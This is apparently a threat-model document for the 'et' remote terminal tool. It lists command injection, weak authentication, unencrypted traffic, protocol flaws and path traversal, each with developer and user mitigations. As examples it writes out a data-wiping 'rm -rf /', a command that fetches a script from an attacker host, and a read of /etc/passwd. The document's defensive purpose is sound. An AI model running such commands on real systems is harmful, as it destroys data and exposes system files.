attack-surface.md

Attack Surface Analysis for egametang/et

Attack Surface: Command Injection

Description: Attackers inject malicious commands into the command stream, which are then executed on the server with the privileges of the et server process.

• et Contribution: et's core functionality is to execute commands received from the client on the server. If input sanitization and validation are insufficient, it directly enables command injection.
• Example: A user types ; rm -rf / or $(curl attacker.com/malicious_script.sh) into the et client. If et server doesn't properly sanitize this input, these commands will be executed on the server, potentially deleting all data or downloading and running malicious scripts.
• Impact: Full compromise of the server, including data loss, system downtime, malware installation, and unauthorized access.
• Risk Severity: Critical
• Mitigation Strategies:
  • Developer:
    • Input Sanitization and Validation: Strictly sanitize and validate all command input received from the client on the server-side. Use whitelisting of allowed characters and commands if feasible.
    • Principle of Least Privilege: Run the et server process with the minimum necessary privileges to limit the impact of command injection.
    • Sandboxing/Isolation: Consider running commands within a sandboxed environment or container to restrict their access to the host system.
    • Code Review: Thoroughly review code related to command processing and execution for potential injection vulnerabilities.
  • User:
    • Use Strong Authentication: Ensure strong authentication is enabled and configured correctly to limit access to authorized users only.
    • Regular Security Audits: Periodically audit the et server and client setup for potential misconfigurations or vulnerabilities.

Attack Surface: Weak or Missing Authentication

Description: Lack of strong authentication allows unauthorized users to connect to the et server and gain remote terminal access.

• et Contribution: If et is deployed without mandatory strong authentication mechanisms, or if it relies on easily bypassed or weak authentication methods, it directly creates this vulnerability.
• Example: et server is configured with no password or a default, easily guessable password. An attacker scans for open et ports, connects, and gains immediate shell access to the server without any credential check.
• Impact: Unauthorized access to the server, leading to data breaches, system manipulation, and potential command injection attacks by malicious actors.
• Risk Severity: Critical
• Mitigation Strategies:
  • Developer:
    • Mandatory Strong Authentication: Enforce strong authentication mechanisms like TLS client certificates, SSH key-based authentication, or robust password-based authentication with features like rate limiting and account lockout.
    • Secure Default Configuration: Ensure default configurations require strong authentication and do not expose the server without proper security.
    • Documentation and Guidance: Provide clear documentation and guidance to users on how to configure and enable strong authentication.
  • User:
    • Enable and Configure Strong Authentication: Always enable and properly configure the strongest available authentication method offered by et.
    • Use Strong Passwords/Keys: If password-based authentication is used, choose strong, unique passwords. For key-based authentication, use strong, securely generated keys.
    • Restrict Access: Limit network access to the et server to only trusted networks or users using firewalls and access control lists.

Attack Surface: Unencrypted Communication (if TLS is optional or disabled)

Description: Communication between the et client and server is not encrypted, allowing eavesdropping and Man-in-the-Middle (MitM) attacks.

• et Contribution: et might offer the option to disable TLS for simplicity or performance reasons, directly introducing this vulnerability if users choose to do so.
• Example: An attacker on the same network as the et client and server intercepts network traffic. Since communication is unencrypted, the attacker can read all commands typed by the user and responses from the server, potentially including sensitive information or credentials. A MitM attacker could also inject commands or modify server responses.
• Impact: Information disclosure, credential theft, command injection via MitM, and loss of confidentiality and integrity.
• Risk Severity: High
• Mitigation Strategies:
  • Developer:
    • Enforce TLS by Default: Make TLS encryption mandatory by default and strongly discourage or remove options to disable it.
    • Provide Clear Warnings: If disabling TLS is still an option, provide prominent warnings about the security risks involved.
    • Secure TLS Configuration: Ensure TLS is configured securely with strong ciphers and protocols.
  • User:
    • Always Enable TLS: Always enable and enforce TLS encryption for all et client-server communication.
    • Verify TLS Configuration: Verify that TLS is properly configured and active during connections.
    • Use Secure Networks: Avoid using et over untrusted or public networks without TLS enabled.

Attack Surface: Protocol Vulnerabilities

Description: Vulnerabilities in the custom protocol used by et for communication can be exploited to cause crashes, denial of service, or potentially code execution.

• et Contribution: et defines and implements its own protocol for client-server interaction. Flaws in the design or implementation of this protocol are direct vulnerabilities introduced by et.
• Example: A vulnerability exists in how the et server parses command length fields in the protocol. An attacker sends a crafted message with an excessively large length value, leading to a buffer overflow or memory exhaustion on the server, causing a crash or denial of service.
• Impact: Denial of service, potential code execution on the server or client depending on the vulnerability.
• Risk Severity: High
• Mitigation Strategies:
  • Developer:
    • Secure Protocol Design: Design the protocol with security in mind, considering potential attack vectors like buffer overflows, injection, and denial of service.
    • Robust Protocol Implementation: Implement the protocol carefully, using secure coding practices to avoid vulnerabilities in parsing and handling protocol messages.
    • Fuzzing and Security Testing: Use fuzzing tools and conduct thorough security testing of the protocol implementation to identify and fix vulnerabilities.
    • Protocol Specification and Review: Document the protocol specification clearly and have it reviewed by security experts.
  • User:
    • Keep et Updated: Regularly update et client and server to the latest versions to benefit from security patches and bug fixes.
    • Monitor for Anomalous Behavior: Monitor et server and client for unexpected crashes or errors that might indicate protocol-level attacks.

Attack Surface: Path Traversal via Command Arguments

Description: Attackers exploit insufficient validation of file paths provided as command arguments to access files outside of intended directories.

• et Contribution: If et allows users to specify file paths in commands and doesn't properly sanitize or restrict these paths, it enables path traversal vulnerabilities.
• Example: A user uses a command like cat ../../../etc/passwd through the et client. If the et server doesn't prevent path traversal, it might execute this command, allowing the attacker to read sensitive system files like /etc/passwd.
• Impact: Unauthorized access to sensitive files, information disclosure, potential privilege escalation depending on the accessed files.
• Risk Severity: High
• Mitigation Strategies:
  • Developer:
    • Path Validation and Sanitization: Strictly validate and sanitize all file paths provided as command arguments. Use whitelisting of allowed directories or path components.
    • Chroot/Jail Environments: Consider running commands within a chroot jail or similar environment to restrict file system access.
    • Principle of Least Privilege: Limit the file system access permissions of the et server process.
  • User:
    • Be Cautious with File Paths: Be aware of the risk of path traversal and avoid using commands with potentially dangerous file paths through et, especially when connecting to untrusted servers.
    • Monitor File Access: Monitor file access logs on the server for any suspicious or unauthorized file access attempts originating from et.